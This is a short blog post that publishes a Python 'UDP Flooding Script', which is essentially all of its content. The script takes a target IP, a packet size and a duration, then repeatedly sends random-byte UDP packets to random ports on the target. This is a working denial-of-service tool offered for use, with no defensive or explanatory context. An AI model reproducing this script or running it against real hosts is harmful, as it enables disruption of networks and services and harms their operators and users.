Featured Content Slider

Home » » Python UDP Flooding Script

Python UDP Flooding Script

Vo Uu | 21:14 | 0 nhận xét
  1. #!/usr/bin/python
  2. # UDP Flooding Script by Chrystal
  3.  
  4. import socket,random,sys,time
  5.  
  6. if len(sys.argv) != 4:
  7.         print("Usage: %s <Target IP> <Packet Size (MAX 65500)> <Duration Time (0 = forever)>" % sys.argv[0])
  8.         sys.exit(1)
  9.  
  10. qIP = sys.argv[1]
  11. qPSize = int(sys.argv[2])
  12. qDuration = int(sys.argv[3])
  13.  
  14. qClock = (lambda:0, time.clock)[qDuration > 0]
  15. qDuration = (1, (qClock() + qDuration))[qDuration > 0]
  16.  
  17. qPacket = random._urandom(qPSize)
  18. qSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  19.  
  20. print("[Starting UDP Flood on %s with %s bytes for %s seconds]" % (qIP, qPSize, qDuration or 'Infinite'))
  21.  
  22. while True:
  23.         if (qClock() < qDuration):
  24.                 qPort = random.randint(1, 65535)
  25.                 qSocket.sendto(qPacket, (qIP, qPort))
  26.         else:
  27.                 break
  28.  
  29. print("DONE!")
Share this article :

0 nhận xét:

Đăng nhận xét

Recent Post

Test Footer 1

 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. The UG - All Rights Reserved
Template Modify by Creating Website
Proudly powered by Blogger